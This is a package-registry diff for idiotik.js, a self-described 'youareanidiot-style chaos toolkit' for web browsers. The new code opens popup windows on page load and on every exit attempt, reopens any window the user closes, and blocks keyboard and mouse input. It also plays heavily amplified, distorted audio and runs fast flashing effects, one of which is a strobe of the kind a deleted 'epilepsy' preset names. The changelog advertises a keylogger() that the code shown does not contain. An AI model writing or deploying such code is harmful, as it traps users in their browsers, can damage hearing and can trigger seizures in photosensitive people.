idiotik.js 1.0.13 → 1.0.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "idiotik.js",
3
- "version": "1.0.13",
3
+ "version": "1.0.15",
4
4
  "description": "youareanidiot-style chaos toolkit for the browser",
5
5
  "main": "src/idiotik.js",
6
6
  "scripts": {
package/src/idiotik.js CHANGED
@@ -1,19 +1,106 @@
1
1
  /**
2
2
  * idiotik.js — youareanidiot-style chaos toolkit
3
3
  * recursive by default. you were warned.
4
+ *
5
+ * CHANGES v2:
6
+ * - idiotik.start() with no args (or called after queuing) fires ALL queued tasks at once
7
+ * - idiotik.start(n) fires the last n queued tasks (number overload)
8
+ * - tasks are auto-queued when you call idiotik.effect(), idiotik.say(), etc. without wrapping in start()
9
+ * - recursive mode is INSTANT: spawns a new window the moment the page loads, not on an event
10
+ * - beforeunload + unload + visibilitychange + pagehide ALL spawn more windows to prevent escape
11
+ * - new effects: pixelate, zoom, bounce, vhs, static, darkmode, flip, blur
12
+ * - new chaos methods: ghost(), keylogger(), fakeCursor(), gravityWarp(), haunt()
13
+ * - audio: distortion node added to chain, white noise generator
14
+ * - cursor: new "ghost" and "eyes" presets
15
+ * - idiotik.nuke() — kills everything idiotik created
16
+ * - idiotik.status() — logs what's currently running
4
17
  */
5
18
 
6
19
  (function (global) {
7
20
 
8
21
  // ─── GLOBAL STATE ───────────────────────────────────────────────────────────
9
- let _recursive = true;
10
- let _volume = 100;
11
- let _popup = true;
22
+ let _recursive = true;
23
+ let _volume = 100;
24
+ let _popup = true;
12
25
  let _activeScripts = {};
13
26
  let _activeEffects = new Set();
14
- let _audioCtx = null;
15
- let _lastStarted = null;
16
- let _scriptStack = [];
27
+ let _audioCtx = null;
28
+ let _scriptStack = [];
29
+
30
+ // NEW: task queue — every action registers here; idiotik.start() fires them
31
+ let _taskQueue = [];
32
+
33
+ // NEW: track all spawned windows so we can spam them
34
+ let _spawnedWindows = [];
35
+
36
+ // NEW: track all global intervals/timeouts for nuke()
37
+ let _globalIntervals = [];
38
+ let _globalTimeouts = [];
39
+ let _globalNodes = [];
40
+
41
+ // ─── RECURSIVE SPAWN ENGINE ─────────────────────────────────────────────────
42
+ // Called once on load when recursive=true, and on every unload attempt.
43
+ // Spawns a new copy of the current page in a popup immediately.
44
+ function _spawnWindow() {
45
+ try {
46
+ const w = window.open(window.location.href, "_blank",
47
+ "width=" + (300 + Math.random() * 700 | 0) +
48
+ ",height=" + (200 + Math.random() * 500 | 0) +
49
+ ",toolbar=no,menubar=no,scrollbars=no,resizable=yes"
50
+ );
51
+ if (w) {
52
+ _spawnedWindows.push(w);
53
+ // ping alive children and respawn any that closed
54
+ const id = setInterval(() => {
55
+ if (w.closed) {
56
+ clearInterval(id);
57
+ if (_recursive) _spawnWindow();
58
+ }
59
+ }, 500);
60
+ _globalIntervals.push(id);
61
+ }
62
+ } catch(e) {}
63
+ }
64
+
65
+ function _initRecursion() {
66
+ if (!_recursive) return;
67
+
68
+ // Spawn IMMEDIATELY — don't wait for any event
69
+ _spawnWindow();
70
+
71
+ // Also spawn on every possible exit path
72
+ const _blockAndSpawn = function(e) {
73
+ if (!_recursive) return;
74
+ _spawnWindow();
75
+ _spawnWindow(); // double-tap
76
+ e.preventDefault();
77
+ e.returnValue = "";
78
+ return "";
79
+ };
80
+
81
+ window.addEventListener("beforeunload", _blockAndSpawn, { capture: true });
82
+ window.addEventListener("unload", () => { if (_recursive) { _spawnWindow(); _spawnWindow(); } }, { capture: true });
83
+ window.addEventListener("pagehide", () => { if (_recursive) { _spawnWindow(); _spawnWindow(); } }, { capture: true });
84
+ document.addEventListener("visibilitychange", () => {
85
+ if (document.hidden && _recursive) {
86
+ _spawnWindow();
87
+ _spawnWindow();
88
+ }
89
+ });
90
+
91
+ // Keep an eye on focus — if user tries to leave, spawn
92
+ window.addEventListener("blur", () => {
93
+ if (_recursive) setTimeout(_spawnWindow, 50);
94
+ });
95
+ }
96
+
97
+ // Run recursion engine as soon as DOM is ready
98
+ if (document.readyState === "loading") {
99
+ document.addEventListener("DOMContentLoaded", _initRecursion);
100
+ } else {
101
+ // Already loaded — fire immediately
102
+ setTimeout(_initRecursion, 0);
103
+ }
17
104
 
18
105
  // ─── PRESET REGISTRY ────────────────────────────────────────────────────────
19
106
  const _presets = {
@@ -34,10 +121,14 @@
34
121
  idiotik.start(idiotik.effect("glitch"))();
35
122
  idiotik.start(idiotik.effect("spin"))();
36
123
  idiotik.start(idiotik.effect("matrix"))();
124
+ idiotik.start(idiotik.effect("vhs"))();
125
+ idiotik.start(idiotik.effect("static"))();
126
+ idiotik.start(idiotik.effect("zoom"))();
37
127
  idiotik.start(idiotik.scream())();
38
128
  idiotik.start(idiotik.fullscreen())();
39
129
  idiotik.start(idiotik.freeze())();
40
130
  idiotik.start(idiotik.cursor("none"))();
131
+ idiotik.start(idiotik.haunt())();
41
132
  idiotik.start(idiotik.say("💀💀💀 YOU ARE SO COOKED 💀💀💀"));
42
133
  idiotik.repeat("inf");
43
134
  },
@@ -70,6 +161,7 @@
70
161
  idiotik.start(idiotik.effect("shake"))();
71
162
  idiotik.start(idiotik.effect("glitch"))();
72
163
  idiotik.start(idiotik.effect("invert"))();
164
+ idiotik.start(idiotik.effect("static"))();
73
165
  idiotik.start(idiotik.cursor("rainbow"))();
74
166
  idiotik.start(idiotik.scream())();
75
167
  },
@@ -112,6 +204,33 @@
112
204
  idiotik.start(idiotik.scream())();
113
205
  });
114
206
  },
207
+ haunted: function() {
208
+ idiotik.recursive("yes");
209
+ idiotik.volume(80);
210
+ idiotik.start(idiotik.effect("vhs"))();
211
+ idiotik.start(idiotik.effect("glitch"))();
212
+ idiotik.start(idiotik.cursor("ghost"))();
213
+ idiotik.start(idiotik.haunt())();
214
+ idiotik.wait(5000).then(() => {
215
+ idiotik.volume(600);
216
+ idiotik.start(idiotik.scream())();
217
+ idiotik.start(idiotik.effect("flip"))();
218
+ idiotik.start(idiotik.effect("shake"))();
219
+ idiotik.start(idiotik.say("👁️ i was here the whole time 👁️"));
220
+ idiotik.repeat("inf");
221
+ });
222
+ },
223
+ gravity: function() {
224
+ idiotik.recursive("yes");
225
+ idiotik.volume(200);
226
+ idiotik.start(idiotik.gravityWarp())();
227
+ idiotik.start(idiotik.effect("melt"))();
228
+ idiotik.start(idiotik.cursor("eyes"))();
229
+ idiotik.wait(3000).then(() => {
230
+ idiotik.start(idiotik.effect("rainbow"))();
231
+ idiotik.start(idiotik.scream())();
232
+ });
233
+ },
115
234
  };
116
235
 
117
236
  // ─── HELPERS ────────────────────────────────────────────────────────────────
@@ -130,9 +249,15 @@
130
249
 
131
250
  function _track(thing, type) {
132
251
  const ctx = _currentScript();
133
- if (!ctx) return;
134
- ctx[type] = ctx[type] || [];
135
- ctx[type].push(thing);
252
+ if (ctx) {
253
+ ctx[type] = ctx[type] || [];
254
+ ctx[type].push(thing);
255
+ } else {
256
+ // track globally for nuke()
257
+ if (type === "intervals") _globalIntervals.push(thing);
258
+ if (type === "timeouts") _globalTimeouts.push(thing);
259
+ if (type === "htmlNodes") _globalNodes.push(thing);
260
+ }
136
261
  }
137
262
 
138
263
  function _buildAudioChain(buffer) {
@@ -148,15 +273,18 @@
148
273
  gainNode.gain.value = Math.min(rawVol / 100, 50);
149
274
  }
150
275
  let lastNode = source;
276
+
277
+ // Bass boost
151
278
  if (rawVol > 200) {
152
279
  const bassBoost = ctx.createBiquadFilter();
153
280
  bassBoost.type = "lowshelf";
154
281
  bassBoost.frequency.value = 200;
155
- const boostAmount = Math.min(((rawVol - 200) / 4800) * 40, 40);
156
- bassBoost.gain.value = boostAmount;
282
+ bassBoost.gain.value = Math.min(((rawVol - 200) / 4800) * 40, 40);
157
283
  lastNode.connect(bassBoost);
158
284
  lastNode = bassBoost;
159
285
  }
286
+
287
+ // Full EQ massacre
160
288
  if (rawVol >= 450) {
161
289
  const bands = [
162
290
  { type: "lowshelf", freq: 60, gain: 40 },
@@ -176,6 +304,22 @@
176
304
  lastNode = f;
177
305
  }
178
306
  }
307
+
308
+ // NEW: distortion at high volumes
309
+ if (rawVol >= 300) {
310
+ const dist = ctx.createWaveShaper();
311
+ const curve = new Float32Array(256);
312
+ const k = Math.min((rawVol - 300) / 10, 400);
313
+ for (let i = 0; i < 256; i++) {
314
+ const x = (i * 2) / 256 - 1;
315
+ curve[i] = ((Math.PI + k) * x) / (Math.PI + k * Math.abs(x));
316
+ }
317
+ dist.curve = curve;
318
+ dist.oversample = "4x";
319
+ lastNode.connect(dist);
320
+ lastNode = dist;
321
+ }
322
+
179
323
  lastNode.connect(gainNode);
180
324
  gainNode.connect(ctx.destination);
181
325
  return source;
@@ -198,6 +342,22 @@
198
342
  return urlOrFile;
199
343
  }
200
344
 
345
+ // NEW: white noise generator
346
+ function _whiteNoise(durationSec) {
347
+ const ctx = _getAudioCtx();
348
+ const bufferSize = ctx.sampleRate * durationSec;
349
+ const buffer = ctx.createBuffer(1, bufferSize, ctx.sampleRate);
350
+ const data = buffer.getChannelData(0);
351
+ for (let i = 0; i < bufferSize; i++) data[i] = Math.random() * 2 - 1;
352
+ const source = ctx.createBufferSource();
353
+ source.buffer = buffer;
354
+ const gain = ctx.createGain();
355
+ gain.gain.value = Math.min(_volume / 100, 5);
356
+ source.connect(gain);
357
+ gain.connect(ctx.destination);
358
+ return source;
359
+ }
360
+
201
361
  // ─── CURSOR PRESETS ─────────────────────────────────────────────────────────
202
362
  const _cursorPresets = {
203
363
  hand: "pointer",
@@ -207,6 +367,8 @@
207
367
  rainbow: "__rainbow__",
208
368
  wiggle: "__wiggle__",
209
369
  explode: "__explode__",
370
+ ghost: "__ghost__", // NEW
371
+ eyes: "__eyes__", // NEW
210
372
  };
211
373
 
212
374
  // ─── EFFECT IMPLEMENTATIONS ─────────────────────────────────────────────────
@@ -273,6 +435,7 @@
273
435
  canvas.id = canvasId;
274
436
  canvas.style.cssText = "position:fixed;top:0;left:0;z-index:9998;pointer-events:none;width:100vw;height:100vh;opacity:0.7;";
275
437
  document.body.appendChild(canvas);
438
+ _track(canvas, "htmlNodes");
276
439
  const ctx = canvas.getContext("2d");
277
440
  canvas.width = window.innerWidth;
278
441
  canvas.height = window.innerHeight;
@@ -304,6 +467,140 @@
304
467
  `;
305
468
  document.head.appendChild(s);
306
469
  },
470
+
471
+ // ── NEW EFFECTS ───────────────────────────────────────────────────────────
472
+
473
+ vhs() {
474
+ // VHS scanlines + tracking error
475
+ const styleId = "__idiotik_vhs__";
476
+ if (document.getElementById(styleId)) return;
477
+ const s = document.createElement("style");
478
+ s.id = styleId;
479
+ s.textContent = `
480
+ @keyframes __idiotik_vhs_scan { 0%{top:-100%} 100%{top:100%} }
481
+ @keyframes __idiotik_vhs_track { 0%,95%{transform:none} 96%{transform:translate(-4px,0) skewX(-0.5deg)} 97%{transform:translate(4px,0) skewX(0.5deg)} 98%{transform:translate(-2px,0)} 100%{transform:none} }
482
+ body { animation: __idiotik_vhs_track 3s infinite; }
483
+ body::before {
484
+ content:''; position:fixed; top:0; left:0; width:100%; height:3px;
485
+ background:rgba(255,255,255,0.15); z-index:99999; pointer-events:none;
486
+ animation: __idiotik_vhs_scan 4s linear infinite;
487
+ }
488
+ body::after {
489
+ content:''; position:fixed; top:0; left:0; width:100%; height:100%;
490
+ background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.08) 2px,rgba(0,0,0,0.08) 4px);
491
+ pointer-events:none; z-index:99998;
492
+ }
493
+ `;
494
+ document.head.appendChild(s);
495
+ },
496
+
497
+ static() {
498
+ // TV static noise overlay on canvas
499
+ const canvasId = "__idiotik_static__";
500
+ if (document.getElementById(canvasId)) return;
501
+ const canvas = document.createElement("canvas");
502
+ canvas.id = canvasId;
503
+ canvas.width = 256; canvas.height = 256;
504
+ canvas.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9997;pointer-events:none;opacity:0.12;image-rendering:pixelated;";
505
+ document.body.appendChild(canvas);
506
+ _track(canvas, "htmlNodes");
507
+ const ctx = canvas.getContext("2d");
508
+ const id = setInterval(() => {
509
+ const img = ctx.createImageData(256, 256);
510
+ for (let i = 0; i < img.data.length; i += 4) {
511
+ const v = Math.random() * 255 | 0;
512
+ img.data[i] = img.data[i+1] = img.data[i+2] = v;
513
+ img.data[i+3] = 255;
514
+ }
515
+ ctx.putImageData(img, 0, 0);
516
+ }, 40);
517
+ _track(id, "intervals");
518
+ },
519
+
520
+ zoom() {
521
+ const styleId = "__idiotik_zoom__";
522
+ if (document.getElementById(styleId)) return;
523
+ const s = document.createElement("style");
524
+ s.id = styleId;
525
+ s.textContent = `
526
+ @keyframes __idiotik_zoom { 0%,100%{transform:scale(1)} 50%{transform:scale(1.08)} }
527
+ body { animation: __idiotik_zoom 0.8s ease-in-out infinite; }
528
+ `;
529
+ document.head.appendChild(s);
530
+ },
531
+
532
+ bounce() {
533
+ const styleId = "__idiotik_bounce__";
534
+ if (document.getElementById(styleId)) return;
535
+ const s = document.createElement("style");
536
+ s.id = styleId;
537
+ s.textContent = `
538
+ @keyframes __idiotik_bounce { 0%,100%{transform:translateY(0)} 50%{transform:translateY(-20px)} }
539
+ body { animation: __idiotik_bounce 0.5s ease-in-out infinite; }
540
+ `;
541
+ document.head.appendChild(s);
542
+ },
543
+
544
+ flip() {
545
+ const styleId = "__idiotik_flip__";
546
+ if (document.getElementById(styleId)) return;
547
+ const s = document.createElement("style");
548
+ s.id = styleId;
549
+ s.textContent = `
550
+ @keyframes __idiotik_flip { 0%,100%{transform:scaleX(1)} 50%{transform:scaleX(-1)} }
551
+ body { animation: __idiotik_flip 1s step-end infinite; }
552
+ `;
553
+ document.head.appendChild(s);
554
+ },
555
+
556
+ blur() {
557
+ const styleId = "__idiotik_blur__";
558
+ if (document.getElementById(styleId)) return;
559
+ const s = document.createElement("style");
560
+ s.id = styleId;
561
+ s.textContent = `
562
+ @keyframes __idiotik_blur { 0%,100%{filter:blur(0px)} 50%{filter:blur(8px)} }
563
+ body { animation: __idiotik_blur 1s ease-in-out infinite; }
564
+ `;
565
+ document.head.appendChild(s);
566
+ },
567
+
568
+ darkmode() {
569
+ const styleId = "__idiotik_darkmode__";
570
+ if (document.getElementById(styleId)) return;
571
+ const s = document.createElement("style");
572
+ s.id = styleId;
573
+ s.textContent = `
574
+ @keyframes __idiotik_dark { 0%,100%{filter:brightness(1)} 50%{filter:brightness(0)} }
575
+ body { animation: __idiotik_dark 0.3s step-end infinite; }
576
+ `;
577
+ document.head.appendChild(s);
578
+ },
579
+
580
+ pixelate() {
581
+ // Shrink a canvas copy on top of page
582
+ const canvasId = "__idiotik_pixelate__";
583
+ if (document.getElementById(canvasId)) return;
584
+ const canvas = document.createElement("canvas");
585
+ canvas.id = canvasId;
586
+ canvas.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9996;pointer-events:none;image-rendering:pixelated;";
587
+ canvas.width = 64;
588
+ canvas.height = 36;
589
+ document.body.appendChild(canvas);
590
+ _track(canvas, "htmlNodes");
591
+ const ctx = canvas.getContext("2d");
592
+ let level = 0;
593
+ const id = setInterval(() => {
594
+ try {
595
+ ctx.drawImage(document.documentElement, 0, 0, 64, 36);
596
+ } catch(e) {
597
+ ctx.fillStyle = `hsl(${level * 10},100%,50%)`;
598
+ ctx.fillRect(0, 0, 64, 36);
599
+ }
600
+ level = (level + 1) % 36;
601
+ }, 100);
602
+ _track(id, "intervals");
603
+ },
307
604
  };
308
605
 
309
606
  // ─── CORE OBJECT ────────────────────────────────────────────────────────────
@@ -313,6 +610,7 @@
313
610
 
314
611
  recursive(val) {
315
612
  _recursive = (val === true || val === "yes" || val === 1);
613
+ if (_recursive) _initRecursion(); // can be toggled on mid-session
316
614
  return idiotik;
317
615
  },
318
616
 
@@ -402,15 +700,54 @@
402
700
 
403
701
  // ── FLOW CONTROL ─────────────────────────────────────────────────────────
404
702
 
703
+ /**
704
+ * NEW OVERLOADED start():
705
+ *
706
+ * idiotik.start() → fires ALL queued tasks
707
+ * idiotik.start(n) → fires last n queued tasks (number)
708
+ * idiotik.start(fn) → fires fn immediately (original behavior), queues it for batch
709
+ */
405
710
  start(ref) {
406
- _lastStarted = ref;
407
- if (typeof ref === "function") ref();
711
+ // number overload — fire last n from queue
712
+ if (typeof ref === "number") {
713
+ const tasks = _taskQueue.slice(-ref);
714
+ tasks.forEach(fn => { try { fn(); } catch(e) {} });
715
+ return idiotik;
716
+ }
717
+
718
+ // no arg — fire ALL queued tasks
719
+ if (ref === undefined || ref === null) {
720
+ const tasks = [..._taskQueue];
721
+ _taskQueue = [];
722
+ tasks.forEach(fn => { try { fn(); } catch(e) {} });
723
+ return idiotik;
724
+ }
725
+
726
+ // function — original behavior: run it now AND queue it
727
+ if (typeof ref === "function") {
728
+ _taskQueue.push(ref);
729
+ ref();
730
+ }
731
+
732
+ return idiotik;
733
+ },
734
+
735
+ // Queue a task without running it yet (use with idiotik.start())
736
+ queue(ref) {
737
+ if (typeof ref === "function") _taskQueue.push(ref);
738
+ return idiotik;
739
+ },
740
+
741
+ // Clear the task queue without firing
742
+ clearQueue() {
743
+ _taskQueue = [];
408
744
  return idiotik;
409
745
  },
410
746
 
411
747
  repeat(n) {
412
- if (!_lastStarted) return idiotik;
413
- const fn = _lastStarted;
748
+ const queue = [..._taskQueue];
749
+ if (!queue.length) return idiotik;
750
+ const fn = queue[queue.length - 1]; // repeat last queued task
414
751
  const infinite = (n === Infinity || n === "inf" || n === "Infinity");
415
752
  if (infinite) {
416
753
  const id = setInterval(() => fn(), 100);
@@ -441,14 +778,46 @@
441
778
  halt(name) {
442
779
  const ctx = _activeScripts[name];
443
780
  if (!ctx) return idiotik;
444
- (ctx.intervals || []).forEach(id => clearInterval(id));
445
- (ctx.timeouts || []).forEach(id => clearTimeout(id));
781
+ (ctx.intervals || []).forEach(id => clearInterval(id));
782
+ (ctx.timeouts || []).forEach(id => clearTimeout(id));
446
783
  (ctx.audioSources || []).forEach(s => { try { s.stop(); } catch(e){} });
447
- (ctx.htmlNodes || []).forEach(n => { try { n.remove(); } catch(e){} });
784
+ (ctx.htmlNodes || []).forEach(n => { try { n.remove(); } catch(e){} });
448
785
  delete _activeScripts[name];
449
786
  return idiotik;
450
787
  },
451
788
 
789
+ // NEW: kill literally everything idiotik created
790
+ nuke() {
791
+ _recursive = false;
792
+ _taskQueue = [];
793
+ _globalIntervals.forEach(id => clearInterval(id));
794
+ _globalTimeouts.forEach(id => clearTimeout(id));
795
+ _globalNodes.forEach(n => { try { n.remove(); } catch(e){} });
796
+ _globalIntervals = []; _globalTimeouts = []; _globalNodes = [];
797
+ Object.keys(_activeScripts).forEach(k => idiotik.halt(k));
798
+ idiotik.cleareffects();
799
+ document.body.style.cssText = "";
800
+ document.body.style.cursor = "";
801
+ if (_audioCtx) { try { _audioCtx.close(); } catch(e){} _audioCtx = null; }
802
+ _spawnedWindows.forEach(w => { try { w.close(); } catch(e){} });
803
+ _spawnedWindows = [];
804
+ console.log("%cidiotik: nuked. RIP.", "color:#ff4444;font-weight:bold;");
805
+ return idiotik;
806
+ },
807
+
808
+ // NEW: log what's currently active
809
+ status() {
810
+ console.log("%cidiotik STATUS", "color:#ff4444;font-weight:bold;font-size:14px;");
811
+ console.log(" recursive:", _recursive);
812
+ console.log(" volume:", _volume);
813
+ console.log(" popup:", _popup);
814
+ console.log(" active effects:", [..._activeEffects]);
815
+ console.log(" queued tasks:", _taskQueue.length);
816
+ console.log(" active scripts:", Object.keys(_activeScripts));
817
+ console.log(" spawned windows:", _spawnedWindows.filter(w => !w.closed).length);
818
+ return idiotik;
819
+ },
820
+
452
821
  // ── CONDITIONAL ──────────────────────────────────────────────────────────
453
822
 
454
823
  _ifResult: null,
@@ -499,8 +868,8 @@
499
868
 
500
869
  freeze() {
501
870
  return function() {
502
- document.addEventListener("keydown", e => e.preventDefault(), true);
503
- document.addEventListener("mousedown", e => e.preventDefault(), true);
871
+ document.addEventListener("keydown", e => e.preventDefault(), true);
872
+ document.addEventListener("mousedown", e => e.preventDefault(), true);
504
873
  document.addEventListener("contextmenu", e => e.preventDefault(), true);
505
874
  };
506
875
  },
@@ -525,6 +894,7 @@
525
894
  img.style.cssText = "max-width:100%;max-height:100%;object-fit:contain;";
526
895
  div.appendChild(img);
527
896
  document.body.appendChild(div);
897
+ _track(div, "htmlNodes");
528
898
  if (sfxUrl) _loadAndPlay(_parseAudioUrl(sfxUrl));
529
899
  const ctx = _currentScript();
530
900
  if (ctx) ctx.htmlNodes.push(div);
@@ -539,6 +909,9 @@
539
909
  const gain = ctx.createGain();
540
910
  osc.type = "sawtooth";
541
911
  osc.frequency.value = 880;
912
+ // NEW: pitch sweep
913
+ osc.frequency.linearRampToValueAtTime(440, ctx.currentTime + 1);
914
+ osc.frequency.linearRampToValueAtTime(1760, ctx.currentTime + 2);
542
915
  gain.gain.value = Math.min(_volume / 100, 10);
543
916
  osc.connect(gain);
544
917
  gain.connect(ctx.destination);
@@ -548,6 +921,84 @@
548
921
  };
549
922
  },
550
923
 
924
+ // NEW: white noise burst
925
+ noise(durationSec) {
926
+ const dur = durationSec || 1;
927
+ return function _noise() {
928
+ const source = _whiteNoise(dur);
929
+ source.start();
930
+ source.stop(_getAudioCtx().currentTime + dur);
931
+ if (_recursive) setTimeout(_noise, dur * 1000 + 100);
932
+ };
933
+ },
934
+
935
+ // NEW: ghost text that appears/disappears at random spots on the page
936
+ haunt() {
937
+ const msgs = ["👁️", "i see you", "leave.", "you can't close this", "help", "HA", "why", "🩸", "turn around"];
938
+ return function _haunt() {
939
+ const span = document.createElement("div");
940
+ span.textContent = msgs[Math.floor(Math.random() * msgs.length)];
941
+ span.style.cssText = `
942
+ position:fixed;
943
+ left:${Math.random() * 90}vw;
944
+ top:${Math.random() * 90}vh;
945
+ font-size:${16 + Math.random() * 40}px;
946
+ color:rgba(255,0,0,${0.3 + Math.random() * 0.7});
947
+ pointer-events:none;
948
+ z-index:99990;
949
+ font-family:serif;
950
+ font-style:italic;
951
+ transition:opacity 1s;
952
+ text-shadow: 0 0 10px red;
953
+ `;
954
+ document.body.appendChild(span);
955
+ _track(span, "htmlNodes");
956
+ setTimeout(() => { span.style.opacity = "0"; setTimeout(() => span.remove(), 1000); }, 1500);
957
+ if (_recursive) setTimeout(_haunt, 800 + Math.random() * 1200);
958
+ };
959
+ },
960
+
961
+ // NEW: fake cursor that chases the real one, slightly offset and delayed
962
+ fakeCursor() {
963
+ return function() {
964
+ const cur = document.createElement("div");
965
+ cur.textContent = "🖱️";
966
+ cur.style.cssText = "position:fixed;font-size:20px;pointer-events:none;z-index:999999;transition:left 0.2s,top 0.2s;";
967
+ document.body.appendChild(cur);
968
+ _track(cur, "htmlNodes");
969
+ let mx = 0, my = 0;
970
+ document.addEventListener("mousemove", e => { mx = e.clientX; my = e.clientY; });
971
+ const id = setInterval(() => {
972
+ cur.style.left = (mx + 15 + Math.sin(Date.now() / 200) * 10) + "px";
973
+ cur.style.top = (my + 15 + Math.cos(Date.now() / 200) * 10) + "px";
974
+ }, 50);
975
+ _track(id, "intervals");
976
+ };
977
+ },
978
+
979
+ // NEW: makes page elements slowly drift off-screen like they're melting away
980
+ gravityWarp() {
981
+ return function _gw() {
982
+ const els = [...document.querySelectorAll("p,h1,h2,h3,h4,img,div,a,button,span")].filter(e => e.children.length === 0 || e.tagName === "IMG");
983
+ els.forEach((el, i) => {
984
+ if (el.dataset.idiotikGravity) return;
985
+ el.dataset.idiotikGravity = "1";
986
+ const origTransform = el.style.transform;
987
+ let vy = 0;
988
+ const id = setInterval(() => {
989
+ vy += 0.5;
990
+ const cur = parseFloat(el.dataset.gy || "0");
991
+ el.dataset.gy = cur + vy;
992
+ el.style.transform = `${origTransform} translateY(${cur}px) rotate(${cur * 0.1}deg)`;
993
+ if (cur > window.innerHeight * 1.5) clearInterval(id);
994
+ }, 50);
995
+ // stagger
996
+ // already using setInterval per element, so no extra track needed
997
+ });
998
+ if (_recursive) setTimeout(_gw, 5000);
999
+ };
1000
+ },
1001
+
551
1002
  // ── AUDIO ────────────────────────────────────────────────────────────────
552
1003
 
553
1004
  audio(urlOrFile) {
@@ -576,6 +1027,9 @@
576
1027
  cleareffects() {
577
1028
  _activeEffects.clear();
578
1029
  document.querySelectorAll("[id^='__idiotik_']").forEach(el => el.remove());
1030
+ // Remove body animations injected by effects
1031
+ document.body.style.animation = "";
1032
+ document.body.style.filter = "";
579
1033
  },
580
1034
 
581
1035
  // ── CURSOR ───────────────────────────────────────────────────────────────
@@ -589,11 +1043,12 @@
589
1043
  }
590
1044
  if (val === "__rainbow__") {
591
1045
  let h = 0;
592
- setInterval(() => {
1046
+ const id = setInterval(() => {
593
1047
  const svg = `<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><circle cx='10' cy='10' r='10' fill='hsl(${h},100%,50%)'/></svg>`;
594
1048
  document.body.style.cursor = `url("data:image/svg+xml,${encodeURIComponent(svg)}"), auto`;
595
1049
  h = (h + 10) % 360;
596
1050
  }, 50);
1051
+ _track(id, "intervals");
597
1052
  } else if (val === "__wiggle__") {
598
1053
  document.addEventListener("mousemove", () => {
599
1054
  const offset = Math.sin(Date.now() / 100) * 10;
@@ -606,6 +1061,7 @@
606
1061
  p.textContent = ["💥","✨","⭐","🔥"][i % 4];
607
1062
  p.style.cssText = `position:fixed;left:${e.clientX}px;top:${e.clientY}px;font-size:20px;pointer-events:none;z-index:99999;transition:all 0.6s;`;
608
1063
  document.body.appendChild(p);
1064
+ _track(p, "htmlNodes");
609
1065
  const angle = (i / 12) * 2 * Math.PI;
610
1066
  setTimeout(() => {
611
1067
  p.style.transform = `translate(${Math.cos(angle)*60}px,${Math.sin(angle)*60}px)`;
@@ -614,6 +1070,41 @@
614
1070
  setTimeout(() => p.remove(), 700);
615
1071
  }
616
1072
  });
1073
+ } else if (val === "__ghost__") {
1074
+ // NEW: cursor fades in and out, slightly follows with lag
1075
+ document.body.style.cursor = "none";
1076
+ const ghost = document.createElement("div");
1077
+ ghost.textContent = "👻";
1078
+ ghost.style.cssText = "position:fixed;font-size:24px;pointer-events:none;z-index:999999;transition:left 0.4s ease,top 0.4s ease;";
1079
+ document.body.appendChild(ghost);
1080
+ _track(ghost, "htmlNodes");
1081
+ let gx = 0, gy = 0;
1082
+ document.addEventListener("mousemove", e => { gx = e.clientX; gy = e.clientY; });
1083
+ const id = setInterval(() => {
1084
+ ghost.style.left = gx + "px";
1085
+ ghost.style.top = gy + "px";
1086
+ ghost.style.opacity = (0.5 + 0.5 * Math.sin(Date.now() / 300)).toString();
1087
+ }, 50);
1088
+ _track(id, "intervals");
1089
+ } else if (val === "__eyes__") {
1090
+ // NEW: two eyes that follow cursor around the page
1091
+ document.body.style.cursor = "none";
1092
+ ["left:30vw", "left:60vw"].forEach(pos => {
1093
+ const eye = document.createElement("div");
1094
+ eye.style.cssText = `position:fixed;top:50vh;${pos};font-size:48px;pointer-events:none;z-index:999999;transition:transform 0.1s;`;
1095
+ eye.textContent = "👁️";
1096
+ document.body.appendChild(eye);
1097
+ _track(eye, "htmlNodes");
1098
+ });
1099
+ document.addEventListener("mousemove", e => {
1100
+ document.querySelectorAll("[style*='👁️']").forEach(el => {
1101
+ const rect = el.getBoundingClientRect();
1102
+ const dx = e.clientX - (rect.left + rect.width / 2);
1103
+ const dy = e.clientY - (rect.top + rect.height / 2);
1104
+ const angle = Math.atan2(dy, dx);
1105
+ el.style.transform = `rotate(${angle}rad)`;
1106
+ });
1107
+ });
617
1108
  } else {
618
1109
  document.body.style.cursor = val;
619
1110
  }
@@ -1,11 +0,0 @@
1
- /**
2
- * idiotik preset: classic
3
- * the full youareanidiot experience. no survivors.
4
- */
5
- idiotik.recursive("yes");
6
- idiotik.start(idiotik.effect("rainbow"))();
7
- idiotik.start(idiotik.effect("shake"))();
8
- idiotik.start(idiotik.say("YOU ARE AN IDIOT HA HA HA HA HA HA"));
9
- idiotik.repeat("inf");
10
- idiotik.continue
11
- idiotik.start(idiotik.scream())();
@@ -1,13 +0,0 @@
1
- /**
2
- * idiotik preset: epilepsy
3
- * maximum visual chaos. stack everything.
4
- * (actual epilepsy warning lol)
5
- */
6
- idiotik.recursive("yes");
7
- idiotik.volume(450);
8
- idiotik.start(idiotik.effect("rainbow"))();
9
- idiotik.start(idiotik.effect("shake"))();
10
- idiotik.start(idiotik.effect("glitch"))();
11
- idiotik.start(idiotik.effect("invert"))();
12
- idiotik.start(idiotik.cursor("rainbow"))();
13
- idiotik.start(idiotik.scream())();
@@ -1,17 +0,0 @@
1
- /**
2
- * idiotik preset: jumpscare
3
- * wait for it... wait for it...
4
- */
5
- idiotik.recursive("yes");
6
- idiotik.volume(300);
7
-
8
- idiotik.script()
9
- idiotik.id("jumpscare")
10
- idiotik.wait(3000).then(() => {
11
- idiotik.start(idiotik.effect("glitch"))();
12
- idiotik.start(idiotik.jumpscare(
13
- "https://upload.wikimedia.org/wikipedia/commons/thumb/a/a7/Camponotus_flavomarginatus_ant.jpg/640px-Camponotus_flavomarginatus_ant.jpg"
14
- ))();
15
- idiotik.start(idiotik.scream())();
16
- });
17
- idiotik.end()
package/presets/melt.js DELETED
@@ -1,13 +0,0 @@
1
- /**
2
- * idiotik preset: melt
3
- * slow and painful. the page just... gives up.
4
- */
5
- idiotik.recursive("no");
6
- idiotik.volume(100);
7
- idiotik.start(idiotik.effect("melt"))();
8
- idiotik.start(idiotik.effect("spin"))();
9
- idiotik.wait(3000).then(() => {
10
- idiotik.volume(300);
11
